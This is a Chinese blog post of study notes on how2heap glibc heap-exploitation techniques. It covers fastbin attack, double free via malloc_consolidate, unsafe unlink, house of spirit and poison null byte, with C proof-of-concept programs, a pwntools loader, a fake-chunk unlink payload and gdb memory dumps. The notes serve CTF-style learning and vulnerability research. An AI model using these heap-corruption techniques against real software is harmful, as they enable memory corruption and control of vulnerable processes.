您好,登錄后才能下訂單哦!
本篇文章為大家展示了how2heap注意點(diǎn)有哪些,內(nèi)容簡(jiǎn)明扼要并且容易理解,絕對(duì)能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。
我的理解是分割unsortedbin里面第一個(gè)大于要分配的chunk,但是實(shí)際上并不是這樣
測(cè)試程序
#include <stdio.h> #include <stdlib.h> #include <string.h> int main() { int m; scanf("%d",m); char* a = malloc(0x256); char* b = malloc(0x200); char* e = malloc(0x100); char* f = malloc(0x256); char* c; free(e); free(a);//前插 c = malloc(0x80);//分割足夠大的chunk(是找到最適合的,best_fit),遍歷unsortedbin把除了分割的一個(gè)鏈入對(duì)應(yīng)的bins,被分割剩下的chunk放入unsortedbin }
編譯命令gcc -g -fno-stack-protector -z execstack -no-pie first-fit.c -o first-fit
可以用python來加載
from pwn import * context.log_level="debug" p=process(["/glibc/2.23/64/lib/ld-2.23.so","./first-fit"],env={"LD_PRELOAD":"/glibc/2.23/64/lib/libc.so.6"}) # io = gdb.debug("first-fit","break main") gdb.attach(p,exe="first-fit") p.sendline("aaa") p.interactive()
運(yùn)行到要返回的時(shí)候堆內(nèi)容如下
可以看出來這里分割的是e也就是說會(huì)遍歷unsortedbin 找到大小最接近的chunk來分割。
其他chunk會(huì)放入對(duì)應(yīng)的bins,被分割的chunk剩下的部分放入unsortedbin。
經(jīng)過后來的測(cè)試得出來的結(jié)論
1.如果fastbin沒有找到合適的chunk,從unsortedbin里面查找。
2.在查找unsortedbin之前會(huì)進(jìn)行fast bins里面的chunk合并,合并之后放入unsortedbin里面
3.如果unsortedbin里面找到了大小剛好相同的chunk,直接取出,分配結(jié)束
4.如果unsortedbin里面沒找到大小剛好相同的chunk遍歷unsortedbin把chunk放入相應(yīng)的bins(不會(huì)放入fastbins)
5.緊接著遍歷其他的biins找到合適的chunk進(jìn)行切割,切割剩余放入unsortedbin中
(跟一些地方寫的不太一樣,但是解釋的通測(cè)試遇到的很多問題。有什么問題感謝聯(lián)系。)
對(duì)于包含tcatch的libc會(huì)直接從topchunk擴(kuò)展。
圖中的箭頭所指為c
是比較常用的fastbin attack這里是介紹一些經(jīng)驗(yàn)
free fast chunk的時(shí)候會(huì)檢查fastbins如果被main_arena直接連接的chunk被再次free會(huì)報(bào)錯(cuò)
這種情況下double free想用這個(gè)0x20要寫入的地址是0x7fffffffe5b0-8
放到了對(duì)應(yīng)位置
如果想用這里的0x7f作為size
需要0x7fffffffe670-3
由以上總結(jié):想要用一個(gè)字節(jié)作為size字段需要用這一行的地址減去它的字節(jié)數(shù)再減一
0x70-3=0x6d
double free進(jìn)入stack條件:需要size,需要棧的加載地址(對(duì)于ALSR開啟想用這種方法修改棧需要泄露棧地址 )
fast_bin_attack 需要
1.fastbin
2.Size
3.想要attack哪里需要哪里的地址(bss段地址,stack地址)
4.需要uaf或者doublefree
結(jié)果:可以申請(qǐng)到一個(gè)地址的空間寫入數(shù)據(jù)。
技巧:想要用一個(gè)字節(jié)作為size字段需要用這一行的地址減去它的字節(jié)數(shù)再減一(這個(gè)字節(jié)數(shù)是從0開始數(shù)的)
在分配 large bin chunk 的時(shí)候,會(huì)調(diào)用 malloc_consolidate(),這個(gè)函數(shù)會(huì)遍歷所有的 fastbin 把里面的 chunk 該合并合并,更改inuse位,然后全部插入 unsorted bin 中。
#include <stdio.h> #include <stdint.h> #include <stdlib.h> int main() { void* p1 = malloc(0x40); void* p2 = malloc(0x40); fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2); fprintf(stderr, "Now free p1!\n"); free(p1); void* p3 = malloc(0x400); fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3); fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n"); free(p1); fprintf(stderr, "Trigger the double free vulnerability!\n"); fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n"); fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40)); }
實(shí)際上當(dāng)執(zhí)行完 void* p3 = malloc(0x400);之后調(diào)用malloc_consolidate函數(shù)
這個(gè)函數(shù)會(huì)刷新bins,把fastbin回收放入unsortedbin之后遍歷unortedbin,把對(duì)應(yīng)的chunk放入對(duì)應(yīng)bins中,然后嘗試能不能找到能分割的chunk(這里沒有找到)
執(zhí)行完第二次free(p1);
可以看出fast chunk再次被釋放回到了fastbin鏈里面,smallbins里面沒有了這個(gè)chunk。
但是下一個(gè)chunk的previnue位變成了零。放入smallbin會(huì)改變標(biāo)志位,然后再次free放入fast bin不會(huì)改變標(biāo)志位,所以這里的標(biāo)志位會(huì)變成0,然后從fastbin獲取chunk當(dāng)然也不會(huì)更改inuse位
總結(jié):free掉大chunk會(huì)把小的fastbin中的chunk放入smallbin并改變標(biāo)志位,再次free小chunk會(huì)讓小chunk回到fastbin,轉(zhuǎn)一圈的收獲是小chunk物理相鄰下一個(gè)chunk的prev_inuse位會(huì)置零??梢耘浜蟯nlink
需要:
fastbin能夠double-free
能申請(qǐng)一個(gè)large chunk
結(jié)果:修改fast chunk的物理相鄰的chunk的prev_inuse位,可以配合unlink使用
Hitcon 2016 SleepyHolder參考 https://blog.csdn.net/qq_38204481/article/details/104731016
參考:https://blog.csdn.net/qq_38204481/article/details/82808011
需要:
1.指針列表指針指向chunk 這種結(jié)構(gòu)(知道bss段地址)或知道m(xù)ain_area地址(也就是libc地址)(需要知道指針列表的地址)
2.能修改prev_inuse位??梢允莇ouble free(fastbin_dup_consolidate)也可以是uaf或者是堆溢出。
payload使用
f_ptr = 0x6020d0 #是一個(gè)指針,指向的內(nèi)容能寫入fake_chunk fake_chunk = p64(0) + p64(0x21)#偽造本chunk的size fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10) #偽造fd,bk fake_chunk += '\x20' #下一個(gè)chunk的prev_size位,和開頭chunksize保持一致 +下一個(gè)chunk是修改過prev_inuse位的
設(shè)置payload過程只需要知道一個(gè)chunk的指針,然后往chunk中寫數(shù)據(jù)就ok了。
結(jié)果是把f_ptr-0x18寫入到*f_ptr
#include <stdio.h> #include <stdlib.h> int main() { int cc; scanf("%d ",cc); malloc(1); unsigned long long *a; // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); fake_chunks[1] = 0x40; // this is the size fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8 fake_chunks[9] = 0x1234; // nextsize a = &fake_chunks[2];//釋放之前布置好了本chunk的size(可控1),后一個(gè)chunk的size(可控2) free(a); fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30)); }
運(yùn)行結(jié)束之后
申請(qǐng)到了任意一段空間。
總結(jié)需要:
在兩個(gè)地址處寫入size。
對(duì)size的要求:
1.可控1size位在fastbin范圍內(nèi),size對(duì)齊的4位中第二第四位不能為1
2.可控2的size位大于0x10小于system_mem(64位是128kb)
3.需要一個(gè)能夠被free的指針指向可控1的size后面(一般是正常指針指向目標(biāo)區(qū)域,目標(biāo)區(qū)域的chunk的size在可控1范圍內(nèi))
結(jié)果:可以擴(kuò)大或者縮小申請(qǐng)到的堆空間,修改其他chunk的空間
經(jīng)驗(yàn):一般條件3中的指針是正常存在的,可以修改的是size,這時(shí)候可以放大或縮小chunk讓chunk重合。
int __cdecl main(int argc, const char **argv, const char **envp) { uint8_t *a; // ST08_8 int real_a_size; // ST04_4 uint8_t *b; // ST10_8 uint8_t *c; // ST18_8 void *barrier; // ST20_8 uint8_t *b1; // ST38_8 uint8_t *b2; // ST40_8 uint8_t *d; // ST48_8 fwrite("Welcome to poison null byte 2.0!\n", 1uLL, 0x21uLL, stderr); fwrite("Tested in Ubuntu 14.04 64bit.\n", 1uLL, 0x1EuLL, stderr); fwrite( "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n", 1uLL, 0x6CuLL, stderr); fwrite( "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n", 1uLL, 0x61uLL, stderr); fwrite("We allocate 0x100 bytes for 'a'.\n", 1uLL, 0x21uLL, stderr); a = (uint8_t *)malloc(0x100uLL); //這個(gè)chunk要有off_by_one_null漏洞 fprintf(stderr, "a: %p\n", a); real_a_size = malloc_usable_size(a); fprintf( stderr, "Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): %#x\n", (unsigned int)real_a_size); b = (uint8_t *)malloc(0x200uLL); //這個(gè)chunk用來偽造 fprintf(stderr, "b: %p\n", b); c = (uint8_t *)malloc(0x100uLL); //這個(gè)最后才會(huì)用到 fprintf(stderr, "c: %p\n", c); barrier = malloc(0x100uLL); //防止被topchunk 合并 fprintf( stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n" "The barrier is not strictly necessary, but makes things less confusing\n", barrier); fwrite( "In newer versions of glibc we will need to have our updated size inside b itself to pass the check 'chunksize(P) != " "prev_size (next_chunk(P))'\n", 1uLL, 0x8FuLL, stderr); *((_QWORD *)b + 0x3E) = 0x200LL; //正常寫(真正的chunk大小是0x210,在b+0x3e*8,是如果chunk b是0x200大小的話對(duì)應(yīng)下一個(gè)chunk的pre_size位) free(b); //把整個(gè)b放入unsorted bin fprintf(stderr, "b.size: %#lx\n", *((_QWORD *)b - 1)); fwrite("b.size is: (0x200 + 0x10) | prev_in_use\n", 1uLL, 0x28uLL, stderr); fwrite("We overflow 'a' with a single null byte into the metadata of 'b'\n", 1uLL, 0x41uLL, stderr); a[real_a_size] = 0; //修改b的size位和inuse位(只需要改一個(gè)字節(jié))(b的size位變成了0x200) fprintf(stderr, "b.size: %#lx\n", *((_QWORD *)b - 1)); fprintf(stderr, "c.prev_size is %#lx\n", *((_QWORD *)c - 2)); fprintf( stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((_QWORD *)b - 1), *(_QWORD *)&b[*((_QWORD *)b - 1) - 16]); b1 = (uint8_t *)malloc(0x100uLL); //分割b得到b的第一塊0x110大小 fprintf(stderr, "b1: %p\n", b1); fprintf( stderr, "Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: %#lx\n", *((_QWORD *)c - 2)); fprintf( stderr, "Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: %lx\n", *((_QWORD *)c - 4)); fwrite("We malloc 'b2', our 'victim' chunk.\n", 1uLL, 0x24uLL, stderr); b2 = (uint8_t *)malloc(0x80uLL); //分割b chunk的第二塊得到0x90的chunk,分割完之后chunk結(jié)構(gòu)如下圖 fprintf(stderr, "b2: %p\n", b2); memset(b2, 'B', 0x80uLL); fprintf(stderr, "Current b2 content:\n%s\n", b2); fwrite( "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n", 1uLL, 0x61uLL, stderr); free(b1); //b1回到unsorted bin中 free(c); //釋放c引起chunk合并(是在沒有修改任何東西的時(shí)候?qū)懭氲腸 chunk的prev_size位,導(dǎo)致合并的應(yīng)該是原來的0x210的chunk,合并成0x320大小的chunk) fwrite("Finally, we allocate 'd', overlapping 'b2'.\n", 1uLL, 0x2CuLL, stderr); d = (uint8_t *)malloc(0x300uLL); //d獲取到未分配的b到c的一大塊區(qū)域 fprintf(stderr, "d: %p\n", d); fwrite("Now 'd' and 'b2' overlap.\n", 1uLL, 0x1AuLL, stderr); memset(d, 68, 0x300uLL); fprintf(stderr, "New b2 content:\n%s\n", b2); fwrite( "Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunksfor the clear explan" "ation of this technique.\n", 1uLL, 0x8DuLL, stderr); return 0; }
*((_QWORD *)b + 0x3E) = 0x200LL;
運(yùn)行之后的布局
0x555557083320: 0x0000000000000200 0x0000000000000000 chunk b末尾 0x555557083330: 0x0000000000000000 0x0000000000000111 chunk c
接下來釋放b(b進(jìn)入unsorted bin),釋放之后的布局為
0x555557083320: 0x0000000000000200 0x0000000000000000 chunk b 0x555557083330: 0x0000000000000210 0x0000000000000110 chunk c
修改size和previnuse然后申請(qǐng)b1,修改b和c的交叉點(diǎn)結(jié)構(gòu)如下
0x555557083320: 0x00000000000000f0 0x0000000000000000 chunk b(被切割并且修改這里的size) 0x555557083330: 0x0000000000000210 0x0000000000000110 chunk c
分配完b2得到的chunk結(jié)構(gòu)是
0x555555757110: 0x0000000000000000 0x0000000000000111 b1 0x555555757120: 0x00007ffff7dd1d68 0x00007ffff7dd1d68 0x555555757130: 0x0000000000000000 0x0000000000000000 0x555555757140: 0x0000000000000000 0x0000000000000000 0x555555757150: 0x0000000000000000 0x0000000000000000 0x555555757160: 0x0000000000000000 0x0000000000000000 0x555555757170: 0x0000000000000000 0x0000000000000000 0x555555757180: 0x0000000000000000 0x0000000000000000 0x555555757190: 0x0000000000000000 0x0000000000000000 0x5555557571a0: 0x0000000000000000 0x0000000000000000 0x5555557571b0: 0x0000000000000000 0x0000000000000000 0x5555557571c0: 0x0000000000000000 0x0000000000000000 0x5555557571d0: 0x0000000000000000 0x0000000000000000 0x5555557571e0: 0x0000000000000000 0x0000000000000000 0x5555557571f0: 0x0000000000000000 0x0000000000000000 0x555555757200: 0x0000000000000000 0x0000000000000000 0x555555757210: 0x0000000000000000 0x0000000000000000 0x555555757220: 0x0000000000000000 0x0000000000000091 b2 0x555555757230: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x555555757240: 0x0000000000000000 0x0000000000000000 0x555555757250: 0x0000000000000000 0x0000000000000000 0x555555757260: 0x0000000000000000 0x0000000000000000 0x555555757270: 0x0000000000000000 0x0000000000000000 0x555555757280: 0x0000000000000000 0x0000000000000000 0x555555757290: 0x0000000000000000 0x0000000000000000 0x5555557572a0: 0x0000000000000000 0x0000000000000000 0x5555557572b0: 0x0000000000000000 0x0000000000000061 unsorted 0x5555557572c0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x5555557572d0: 0x0000000000000000 0x0000000000000000 0x5555557572e0: 0x0000000000000000 0x0000000000000000 0x5555557572f0: 0x0000000000000000 0x0000000000000000 0x555555757300: 0x0000000000000000 0x0000000000000000 0x555555757310: 0x0000000000000060 0x0000000000000000 0x555555757320: 0x0000000000000210 0x0000000000000110 c
接下來釋放c和b1,能把整個(gè)c,b(包含b1,b2,unsorted)全部合并放入unsorted bin
如果只釋放c不釋放b1的話會(huì)崩潰,追蹤崩潰找到下面代碼,釋放c的時(shí)候會(huì)檢查前面的chunk是否在使用,沒有使用(這個(gè)是滿足的)將會(huì)進(jìn)行unlink(這里不釋放p1是過不了unlink的檢查的)
if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); }
如果沒有*((_QWORD *)b + 0x3E) = 0x200LL;
這個(gè)size實(shí)際上也是可行的。
在libc2.23中在切割chunk的時(shí)候不會(huì)檢查next_chunk的prev_size位,會(huì)把切割后的size大小寫到對(duì)應(yīng)位置。在注釋掉代碼中*((_QWORD *)b + 0x3E) = 0x200LL;
語句之后,申請(qǐng)b1之后的堆空間如下圖所示
pwndbg> x /70xg b 0x555556eaa130: 0x00007f2a49e20d68 0x00007f2a49e20d68 0x555556eaa140: 0x0000000000000000 0x0000000000000000 0x555556eaa150: 0x0000000000000000 0x0000000000000000 0x555556eaa160: 0x0000000000000000 0x0000000000000000 0x555556eaa170: 0x0000000000000000 0x0000000000000000 0x555556eaa180: 0x0000000000000000 0x0000000000000000 0x555556eaa190: 0x0000000000000000 0x0000000000000000 0x555556eaa1a0: 0x0000000000000000 0x0000000000000000 0x555556eaa1b0: 0x0000000000000000 0x0000000000000000 0x555556eaa1c0: 0x0000000000000000 0x0000000000000000 0x555556eaa1d0: 0x0000000000000000 0x0000000000000000 0x555556eaa1e0: 0x0000000000000000 0x0000000000000000 0x555556eaa1f0: 0x0000000000000000 0x0000000000000000 0x555556eaa200: 0x0000000000000000 0x0000000000000000 0x555556eaa210: 0x0000000000000000 0x0000000000000000 0x555556eaa220: 0x0000000000000000 0x0000000000000000 0x555556eaa230: 0x0000000000000000 0x00000000000000f1 0x555556eaa240: 0x00007f2a49e20b78 0x00007f2a49e20b78 0x555556eaa250: 0x0000000000000000 0x0000000000000000 0x555556eaa260: 0x0000000000000000 0x0000000000000000 0x555556eaa270: 0x0000000000000000 0x0000000000000000 0x555556eaa280: 0x0000000000000000 0x0000000000000000 0x555556eaa290: 0x0000000000000000 0x0000000000000000 0x555556eaa2a0: 0x0000000000000000 0x0000000000000000 0x555556eaa2b0: 0x0000000000000000 0x0000000000000000 0x555556eaa2c0: 0x0000000000000000 0x0000000000000000 0x555556eaa2d0: 0x0000000000000000 0x0000000000000000 0x555556eaa2e0: 0x0000000000000000 0x0000000000000000 0x555556eaa2f0: 0x0000000000000000 0x0000000000000000 0x555556eaa300: 0x0000000000000000 0x0000000000000000 0x555556eaa310: 0x0000000000000000 0x0000000000000000 0x555556eaa320: 0x00000000000000f0 0x0000000000000000 0x555556eaa330: 0x0000000000000210 0x0000000000000110
這里寫入的size還在b的空間中,是將要偽造的b的size大小,位置要滿足下一步偽造b的size之后可以作為下一個(gè)chunk的prev_size
之后申請(qǐng)chunk切割b,整個(gè)b分割成了3塊
0x0000000000000111 b1
0x0000000000000091 b2
0x0000000000000061 unsorted
接下來釋放b1,c1,當(dāng)釋放c1的時(shí)候進(jìn)行chunk合并,得到了0x320的chunk。
之后d = (uint8_t *)malloc(0x300uLL)會(huì)申請(qǐng)到b和c 兩個(gè)chunk的空間
總結(jié):
需要條件:1.有off_by_one_null漏洞
2.是unsorted bin的漏洞利用
結(jié)果:可以申請(qǐng)到兩個(gè)已經(jīng)被釋放空間中間的已經(jīng)被申請(qǐng)過的chunk(造成溢出,修改數(shù)據(jù))
上述內(nèi)容就是how2heap注意點(diǎn)有哪些,你們學(xué)到知識(shí)或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識(shí)儲(chǔ)備,歡迎關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。